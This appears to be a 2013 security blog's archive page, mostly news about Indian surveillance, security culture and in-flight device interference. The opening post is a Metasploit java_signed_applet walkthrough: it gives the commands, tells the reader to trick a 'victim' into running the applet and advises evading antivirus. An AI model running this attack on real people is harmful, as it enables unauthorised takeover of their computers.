Tuesday, 21 May 2013

Pawning Someone's PC with Java Signed Applet Social Engineering Code Execution from Metasploit

Metasploit is one of the greatest open source tools which helps penetration tester's lives easier. In this article I would like to demonstrate how to pawn someone's computer by using the Java Signed Applet Social Engineering Code Execution from the Metasploit Console. To fire up Metasploit, type msfconsole and follow the instructions:
1. Load the exploit plugin:
use exploit/multi/browser/java_signed_applet
2. Set the srvport which is the local port to listen on, by default it is set to port 8080. If you want to change the port use the command (for example port 9191):
set srvport 9191
(In my case I didn't change the port but I still demonstrated from the screenshot below on how to change the srvport to 8080)
3. Set the URL path, in my case I used /gaylink:
set uripath /gaylink
4. Run the exploit with the command below:
exploit



5. Now send the local IP assigned (in my case 192.168.11.2:8080/gaylink) by Metasploit  or the URL to your victim and convince him to click on the alert box (applet) that will popup just like the screenshot below.
If he runs the applet, you should be able to establish a meterpreter session then! Below is a screenshot of a total pawnage :)
Take note that antiviruses and firewalls detect this kind of attack so use your head in evading the antivirus and firewall.

Indian Government to ask Skype, others to set up servers in India: Report


The Indian government will ask popular Internet-based free video calling service Skype and other such applications providers to set their servers in India in order to continue providing their services here. According to a ToI report, the government feels that ‘unregulated Internet architecture in India and highly decentralized encrypted structure of Skype makes it difficult for the security agencies to monitor the service, which could be misused to breach the national security.

The Indian government has thrown a fit earlier over encrypted messenger service by BlackBerry and Internet services like Facebook, Twitter and others, for national security reasons.
Along with this, other Internet related issues were collectively taken up by the representatives of the Indian Intelligence Bureau, other security agencies and the Police force along with senior officials from telecom and IT departments in a home ministry meeting held on April 23.
“Any service provider, who provides communication service in India via any media through Voice-over-Internet Protocol ( VoIP), should be mandated to be registered in India, having its office, server located in the country and therefore, subject to Indian laws. Necessary provisions to this effect may be incorporated through amendment in Indian Telegraph Act, 1885 and Information Technology Act, 2000,” according to the minutes of the meeting held on April 23.
The government wants to able to control the Internet services including social networking sites and the Internet telephony up to an extent that it could limit the usage as well as completely stop access to these service in certain states or zones in the country, depending upon the sensitivity of the area. For this, it will ask mobile device players along with the Internet service providers to ‘segregate Internet Protocol (IP) addresses on a state basis’, which will allow the state government to monitor and better control these services.

Monday, 20 May 2013

The InfoSec Path Less Travelled

A designated board member of the company gets caught forwarding critical business research data to his personal email ID. The ensued investigation found he was on the verge of forming a private limited company in the same area of business.

In a similar incident- although of an innocent nature and unintentional with no mala fide objective - a top level employee was caught forwarding emails to a personal ID due to an issue with the company’s email client. He had no clue, whatsoever, that this was a serious breach of the company’s information security policy. The result- a senior executive of nine years was fired.

These are just some examples of top management complacency towards information security. Similar cases of data breach are rising by alarming numbers. If CXOs can be so careless, one can reckon the degree of security awareness of an average employee.

This exposes a gaping hole in the enterprises’ preparedness in dealing with insider threat. The question staring us in the face is: have organisations missed out on the most basic and essential tenet of building an overall culture of security?

“The cultural and behavioural aspects of employees are not incorporated in the information security policy, at the level it should be. In the sense that most of the employees feel that the security for the company is the job of CISO or the person in-charge,” says Vicky Shah, Consultant, The Eagle Eye.

Users should feel responsible and understand that their collective wisdom will strengthen the overall security posture of the company. The culture of employees taking the onus of ensuring IT security by following the regular hygiene, rules, strictures, regulations will ensure the desired level of security preparedness.

In the absence of this culture, no information security awareness campaigns will come to fruition, irrespective of how attractive, interactive and intuitive they are. So, how do companies instil the security culture in employees?

Measuring Employees’ Security Posture

The most important step for the CISO’s office in building the requisite security culture is to assess the alertness of employees towards information security. This can help unearth their complacency towards handling security issues. Sometimes going off the beaten track can be more useful than the traditional tricks and leave a more profound impact on the employees’ mind. This will make the employees start taking security more seriously, thus setting a firm base for a strong culture of information security. While the usual methods have their advantages, the non-conventional ways can have a more lasting impact.

Offbeat Techniques To Check Security Posture

Here are some offbeat techniques that CIOs/CISOs can use, as well as some real-life examples of deployment of those techniques.

Technique 1

It’s essential to be more practical and direct in checking an employee’s security readiness. “Apart from IT infrastructure, penetration testing with social engineering can be used on employees. The attempt is to see whether employees fall prey to the scheme. If they do, they have to be sensitised of the repercussions if the same was a real breach attempt,” says Vishal Salvi, CISO and Senior VP, HDFC Bank. Social engineering means sending deceptive messages to employees to divulge information. The aim is to test whether employees follow the set policies. The deception is caused by an internal employee. 

Technique 2

Companies can also opt for options of hiring a consultant and granting him/her special rights to check employee readiness. Shah cites an example of how his team did a physical penetration testing assignment for a company to check the security preparedness of the team responsible for a high security zone in the company, where all employees do not have access.

Shah informs that this part of the client’s office is administered under special access controls with only certain employee functions allowed to visit and access the resident IT infrastructure. To check whether the deputed employees followed the procedures, Shah’s team was asked to enter the zone under the guise of an audit team. To the company’s surprise, the team was given complete access after verbally assuring all necessary permissions were taken and what followed was even more shocking. “Our team went up to their server room and in spite of all the information security policies in place, we were able to penetrate the IT systems by using social engineering techniques,” says Shah.

Post the shocker, a series of drills were conducted after listing out access control procedures to their last granularity. The objective was to have rigid processes in place, which means that even an audit team visiting the site has to adhere to the regulations like any other authorised person would.

Technique 3

A simple SMS can also go a long way to thwart information security breaches and unauthorised usage. “I consulted one of my clients to run a customised SMS campaign. The users in general were sent text messages on the employee and company liabilities in the eventuality of an information security breach. As part of the campaign, employees accessing porn sites or other objectionable content, in particular, were warned with customised SMSes. It was made very clear in the message that the viewing of porn sites is a criminal offence with the specified imprisonment and penalty,” says Prashant Mali, President, Cyber Law Consulting.

Why an SMS? The idea is to send the message without hurting the employees. An SMS issued from an official location acts as a soft way of communication as against a memo, which can be taken otherwise. The campaign was a success. Furthermore, any change in Information Security policy or security incident was also informed to employees via SMSes. The exercise was done with due care ensuring that the identity of the person was not revealed. 

This has been further supplemented with the company’s information security team regularly tracking employee internet browsing patterns. It has gone to the extent of openly displaying objectionable website URLs viewed by employees. The website list is put up in the office canteen. The objective is to act as a deterrent against other employees to log on to the same sites. The employees are also warned of prospective HR action in case of a similar breach.

Technique 4

Another technique is to ask the system administrator to check how the employees respond to their emails IDs getting deactivated: whether they are following the set procedures, what kind of turnaround time under which the email ID is activated again? This reveals the particular employees’ alertness towards getting things done under the time frame,” says Shah.

Citing a client’s example where such an assessment was done, Shah informs that the assessment found most of the employees missing out on informing the risk officer. “The set procedure was to inform the system administrator and fill out a form to update the risk officer. However, only the former was informed and not the latter,” he adds.

The point to be driven home here is that an email malfunction is not a technical issue but an information security risk.

Most of the high profile information security breach events in 2011 were the handiwork of lame threat vectors- simple exploit in the excel software in RSA and writing a few lines of code to change ID in case of Citi Bank. These cases just point to a simple fact - companies should make sure the employees are, at all times, well-versed with the basics and be prepared to quickly respond to any anomaly that is noticed.

Thursday, 16 May 2013

Indian Government Plans Digital Central Monitoring System – CIS India

Starting from this month, all telecommunications and Internet communications in India will be analyzed by the government and its agencies. This means that everything we say or text over the phone, write, post or browse over the Internet will be centrally monitored by Indian authorities. This totalitarian type of surveillance will be incorporated in none other than the Central Monitoring System (CMS).
The Central Monitoring System (CMS)
The Central Monitoring System (CMS) may be another step in the wrong direction, especially with the lack of privacy laws to protect Indian citizens against potential abuse. Yet, all telecommunications and internet communications are to be monitored by Indian authorities through the CMS, despite the fact that it remains unclear how our data will be used.
The CMS was prepared by the Telecom Enforcement, Resource and Monitoring (TREM) and the Centre for Development of Telematics (C-DoT) and is being manned by the Intelligence Bureau. The CMS project is likely to start operating this month. The Information Technology Amendment Act 2008 enables e-surveillance. The government plans to create a platform that will include all the service providers in Delhi, Haryana and Karnataka creating central and regional databases to help central and state level law enforcement agencies in interception and monitoring. Without any manual intervention from telecom service providers, CMS will equip government agencies with Direct Electronic Provisioning, filter and provide Call Data Records (CDR) analysis and data mining to identify the personal information and provide alerts of the target numbers.
The estimated cost of CMS is Rs. 4 billion. It will be connected with the Telephone Call Interception System (TCIS) which will help monitor voice calls, SMS and MMS, fax communications on landlines, CDMA, video calls, GSM and 3G networks. Agencies which will have access to the CMS include the Research and Analysis Wing (R&AW), the Central Bureau of Investigation (CBI), the National Investigation Agency (NIA), the Central Board of Direct Taxes (CBDT), the Narcotics Control Bureau, and the Enforcement Directorate (ED). Last October, the NIA approached the Department of Telecom requesting for connection with the CMS to help it intercept phone calls and monitor social networking sites without the cooperation of telcos. NIA is currently monitoring eight out of 10,000 telephone lines and if connected with the CMS, NIA will also get access to e-mails and other social media platforms. Essentially, CMS will be converging all the interception lines at one location for Indian law enforcement agencies to access them. CMS will be capable of intercepting our calls and analyzing our data on social networking sites, and also tracking encrypted signals. Thus our attempts to protect our data from ubiquitous surveillance would be futile.
In light of the CMS installation, the Mumbai police set up a ´social media lab´ last month to monitor Facebook, Twitter and other social networking sites. Staffed with 20 police officers, this lab would keep an eye on issues being publicly discussed and track matters relating to public security. According to police spokesman Satyanarayan Choudhary, the lab will be used to identify trends among the youth to plan law and order accordingly. However, fears have arisen that the lab may be used to stifle political debate and freedom of expression. The arrest of two Indian women last November over a Facebook post during Bal Thackeray’s death was proof that the monitoring of our communications can potentially oppress our freedom and human rights. Now that all our online activities will be under the microscope, will the CMS security trade-off be worth it?
Surveillance in the name of Security
In a digitised world, threats to security have been digitised. Terrorism is considered to be a product of globalisation and the internet appears to be a tool used by terrorists. Hence governments all around the world are convinced that surveillance is probably one of the most effective methods in detecting and prosecuting terrorists. So all movement, action, interests, ideas and everything that could define an individual are closely being monitored. If everything about our existence is closely monitored and analysed, it seems likely that we will be instantly detected and prosecuted if engaged in illegal activity. But according to security expert Bruce Schneier, searching for a terrorist through data mining is like looking for a needle in a haystack. Generally, the bigger the amount of data, the bigger the probability of an error in matching profiles. Hence, when our data is being analysed through data mining, the probability of us being charged for a crime we did not commit is real. Nonetheless, CMS is going to start operating soon in an attempt to enable law enforcement agencies to tackle crime and terrorism.
A few days ago, I had a very interesting chat with an employee at SAS Institute (India) Pvt. Ltd. in Bangalore, a wholly owned subsidiary of SAS Institute Inc. SAS produces software solutions and services to combat fraud in financial services, identify cross-sell opportunities in retail. All the business issues it addresses are based on three capabilities: information management, analytics and business intelligence. Interestingly, SAS also produces social network analysis which ‘helps institutions detect and prevent fraud by going beyond individual and account views to analyze all related activities and relationships at a network dimension’. Thus, a social network analysis solution uncovers previously unknown network connections and relationships, even to a terrorist organisation enabling more efficient investigations.
According to the SAS employee I spoke to, the company provides similar analysis to Indian law enforcement agencies and aims to support the CMS project in an attempt to tackle crime and terrorism arguing that their social network analysis solution only analyzes open source data thus respecting online individual privacy. Cyber security experts have argued in favour of the Mumbai social media lab stating that the idea that the privacy of our messages and online activity would be intercepted is a misconception.
It was also argued that there is no harm in creating monitoring centres, especially since other countries, such as the U.S., are conducting similar surveillance, thus justifying it in the name of security.
CMS targeting individuals: myth or reality?
Does CMS really target us individually as the cyber security experts in India claim? Lets look at the following hypothesis:
The CMS can surveille and target individuals, if Indian law enforcement agencies have access to individuals content and non-content data and are simultaneously equipped with the necessary technology to analyse their data.
The two independent variables of the hypothesis are: (1) Indian law enforcement agencies have access to individuals´ content and non-content data, (2) Indian law enforcement agencies are equipped with the necessary technology to analyse individuals´ content and non-content data. The dependent variable of the hypothesis is that the CMS can target individuals, which can only be proven once the two independent variables have been confirmed.
However, the surveillance industry in India is a vivid reality. ClearTrail is an Indian surveillance technology company which provides communication monitoring solutions to law enforcement agencies around the world including, mass monitoring of IP and voice networks, targeted IP monitoring, tactical Wi-Fi monitoring and off-the-air interception, among others. Indian law enforcement agencies are equipped with technologies and solutions capable of targeting us individually and of monitoring our private online activity.
Shoghi Communications Ltd. is just another example of an Indian surveillance technology company. WikiLeaks has published a brochure with one of Shoghi´s solutions: the Semi Active GSM Monitoring System which can intercept communications from any GSM service providers in the world and has a 100% target call monitor rate without any help from the service provider. Indian law enforcement agencies are probably being equipped with such systems which would enable CMS to monitor telecommunications more effectively.
In general, many companies, globally, produce surveillance products and solutions for supply to law enforcement agencies around the world. However, if such technology is used solely to analyse open source data, how do law enforcement agencies expect to detect criminals and terrorists? In other words, how can they access our ´private´ online communications to define whether we are a terrorist or not?
Law enforcement requests reports published by companies, such as Google and Microsoft, confirm the fact that law enforcement agencies have access to both our content and non-content data, much of which was disclosed to Indian law enforcement agencies. The various surveillance technology companies ensure that Indian law enforcement agencies are equipped to analyse our data and match patterns.
Thus, the arguments brought forth by cyber security experts in India appear to be weak. So how does CMS also affect our human rights?
No privacy legislation currently exists in India. The telephone tapping laws in India are weak and violate constitutional protections. The Information Technology Amendment Act 2008 has enabled e-surveillance to reach its zenith, but yet surveillance projects, such as CMS, lack adequate legal backing.  All individuals can potentially be targeted and monitored, regardless of whether they have been involved in illegal activities. The following questions in regards to the CMS remain vague: Who can authorise the interception of telecommunications and Internet communications and access to intercepted data? Can data monitored by the CMS be shared between third parties and if so, under what conditions? Is data monitored by CMS retained and if so, for how long and under what conditions? Do individuals have the right to be informed about their communications being monitored and about data retained about them?
In order to ensure that our right to privacy and other human rights are not breached, parliamentary oversight of intelligence agencies in India is a minimal prerequisite. E-surveillance regulations should be enacted, covering both policy and legal issues pertaining to the CMS ensuring that human rights are not infringed.
A version of this post was published on Centre for Internet & Society, India website

The Centre for Internet and Society is a non-profit research organization that works on policy issues relating to freedom of expression, privacy, accessibility for persons with disabilities, access to knowledge and IPR reform, and openness (including open government, FOSS, open standards, etc.), and engages in academic research on digital natives and digital humanities.

Turning Off IPhone Critical to Pilots Citing Interference


Pilot Reports Undercut Push to End U.S. Rule on Inflight Device Play iPhones on Planes Blamed for Navigation Disruption
The regional airliner was climbing past 9,000 feet when its compasses went haywire, leading pilots several miles off course until a flight attendant persuaded a passenger in row 9 to switch off an Apple Inc. (AAPL) iPhone.
Pilot Reports Undercut Push to End U.S. Rule on Inflight Devices The cockpit of a Boeing Co. 787 Dreamliner is shown during an event in Arlington, Virginia. Laboratory tests have shown some devices broadcast waves powerful enough to interfere with airline equipment, according to NASA, aircraft manufacturer Boeing Co. and the U.K.’s Civil Aviation Authority. Photographer: Joshua Roberts/Bloomberg
Even Delta Air Lines Inc., which argued for relaxed rules, told the U.S. Federal Aviation Administration its pilots and mechanics reported 27 suspected incidents of passenger electronics causing aircraft malfunctions from 2010 to 2012. Photographer: David Paul Morris/Bloomberg
“The timing of the cellphone being turned off coincided with the moment where our heading problem was solved,” the unidentified co-pilot told NASA’s Aviation Safety Reporting System about the 2011 incident. The plane landed safely.
Public figures from U.S. Senator Claire McCaskill to actor Alec Baldwin have bristled at what they say are excessive rules restricting use of tablets, smartphones, laptops and other devices during flights.
More than a decade of pilot reports and scientific studies tell a different story. Government and airline reporting systems have logged dozens of cases in which passenger electronics were suspected of interfering with navigation, radios and other aviation equipment.
The FAA in January appointed an advisory committee from the airline and technology industries to recommend whether or how to broaden electronics use in planes. The agency will consider the committee’s recommendations, which are expected in July, it said in a statement.
Laboratory tests have shown some devices broadcast radio waves powerful enough to interfere with airline equipment, according to NASA, aircraft manufacturer Boeing Co. (BA) and the U.K.’s Civil Aviation Authority.

Airlines Split

Even Delta Air Lines Inc. (DAL), which argued for relaxed rules, told the U.S. Federal Aviation Administration its pilots and mechanics reported 27 suspected incidents of passenger electronics causing aircraft malfunctions from 2010 to 2012. Atlanta-based Delta said it couldn’t verify there was interference in any of those cases.
The airline industry has been divided. Delta said in its filing that it welcomes more electronics use because that’s what its passengers wanted. United Continental Holdings Inc. said it preferred no changes because they’d be difficult for flight attendants to enforce.
CTIA-The Wireless Association, a Washington trade group representing mobile companies, and Amazon.com Inc. (AMZN), the Seattle online retailer that sells the Kindle e-reader, urged the U.S. FAA last year to allow wider use of devices. Personal electronics don’t cause interference, CTIA said in a blog post last year.

10,000 Feet

Passengers’ use of technology and wireless services “is growing by leaps and bounds” and should be expanded as long as it is safe, the Consumer Electronics Association, an Arlington, Virginia-based trade group, said in its filing to the FAA last year.
Federal Communications Commission Chairman Julius Genachowski agreed in a Dec. 6 letter to the FAA.
Broader use of on-board electronics would help providers of approved aircraft Wi-Fi services by letting passengers use them longer. Gogo Inc. (GOGO), based in Itasca, Illinois, says it has 82 percent of that market in North America, and Qualcomm Inc. (QCOM) on May 9 won permission from the FCC to proceed with a planned air-to-ground broadband service for Wi-Fi equipped planes.
The FAA prohibits use of electronics while a plane is below 10,000 feet, with the exception of portable recording devices, hearing aids, heart pacemakers and electric shavers.
Once a flight gets above that altitude, devices can be used in “airplane mode,” which blocks their ability to broadcast radio signals, according to the FAA. There’s an exception for devices that aircraft manufacturers or an airline demonstrates are safe, such as laptops that connect to approved Wi-Fi networks.

Inflight Wi-Fi

The potential risks from personal electronic devices are increasing as the U.S. aviation system transitions to satellite-based navigation, according to the FAA. In order to improve efficiency, planes will fly closer together using GPS technology.
As a result, interference from electronics “cannot be tolerated,” the agency said last year.
While sticking with its prohibitions on use during some phases of flight, the FAA starting in 2010 issued guidelines allowing broader use of personal electronics.
Following techniques suggested by RTCA Inc., a Washington-based non-profit that advises the FAA on technology, airlines have been able to install Wi-Fi networks allowing passengers to browse the Web in flight.

No Tolerance

Four in 10 airline passengers surveyed in December by groups including the CEA said they want to be able to use electronic devices in all phases of flight. Thirty percent of passengers in that same study said they’d accidentally left on a device during a flight.
McCaskill, a Missouri Democrat, has called for lifting restrictions on non-phone devices such as the Kindle if passengers keep them in airplane mode, Drew Pusateri, her spokesman, said in an interview.
The existing rules are “ridiculous,” she said in an interview.
“I was aware from the research that’s been done that there has never been an incident of a plane having problems because of someone having a device on in the cabin,” she said.
The dangers from radio waves interfering with electronic equipment has been known for decades. A fire aboard the aircraft carrier USS Forrestal in 1967 killed 134 people, when a rocket on a fighter jet accidentally fired after a radar beam triggered an electronic malfunction, according to a 1995 NASA review.

GPS Useless

Restrictions on U.S. commercial aircraft began in 1966 after research found some portable radios interfered with navigation equipment, according to the FAA’s request last year for comments on whether it should change existing rules.
In one 2004 test, a now-discontinued Samsung Electronics Co. (005930)wireless phone model’s signal was powerful enough to blot out global-positioning satellites, according to NASA. The device, which met all government standards, was tested because a corporate flight department had discovered the phone rendered a plane’s three GPS receivers useless, NASA’s researchers reported.
While incidents haven’t led to any commercial accidents and and are difficult to recreate afterward, they continue to pile up. A log kept by the Montreal-based International Air Transport Association airline trade group recorded 75 cases of suspected interference from 2003 to 2009, Perry Flint, a spokesman for the group, said in an interview.

Ghost Theories

Peter Bernard Ladkin, a professor of computer networks at the University of Bielefeld in Germany, compiled similar accounts from pilots in Europe, he said in an interview.
“These are serious, conscientious pilots,” Ladkin said. “They know what they’re doing. They don’t subscribe to theories about ghosts or something.”
Damaged devices have transmitted on frequencies they weren’t designed for, according to David Carson, an associate technical fellow at Boeing who has participated in industry evaluations of electronics.
If those radio waves reach an antenna used for navigation, communication or some other purpose, it may distort the signal it’s supposed to receive.
Inflight Wi-Fi systems are safe in part because devices connect to them at low power levels, according to Carson, who was co-chairman of an RTCA panel that produced testing standards.
Devices searching for a faraway connection, such as a mobile phone trying to connect to a ground network in flight, send out more powerful radio waves, he said.

Pilots’ IPads

Airlines such as Delta and Alaska Air Group Inc. (ALK) have used the FAA guidelines to allow their pilots to carry Apple iPads to replace paper charts and manuals. McCaskill and others have used that as an example of why passengers should be allowed to use tablet computers during landing and takeoff.
One difference is that airlines don’t purchase tablet models that use connections through wireless phone networks. Similar devices used by passengers haven’t been tested for safety in the passenger compartment, Carson said. Plus, there’s no guarantee passengers will put the devices into airplane mode or the devices haven’t been damaged, he said.
“Something a passenger brings in, you don’t know if it fell in a mud puddle or they put a bigger battery in,” he said.
The RTCA group recommended against allowing passengers to use devices during taxi, landing and takeoff, Carson said.
The Association of Flight Attendants, the U.S.’s largest union for those workers, told the FAA last year that electronic devices should be stowed during those critical phases of flight, just as bags and purses must be.
Any decision should be based on science, not on politics or passengers’ desires to stay connected, John Cox, a former airline pilot who is chief executive officer of the Washington-based consulting firm, Safety Operating Systems, said in an interview.
“The question is: Do we want to do aviation safety based on lack of testing and certification standards?” Cox said.
To contact the reporter on this story: Alan Levin in Washington at alevin24@bloomberg.net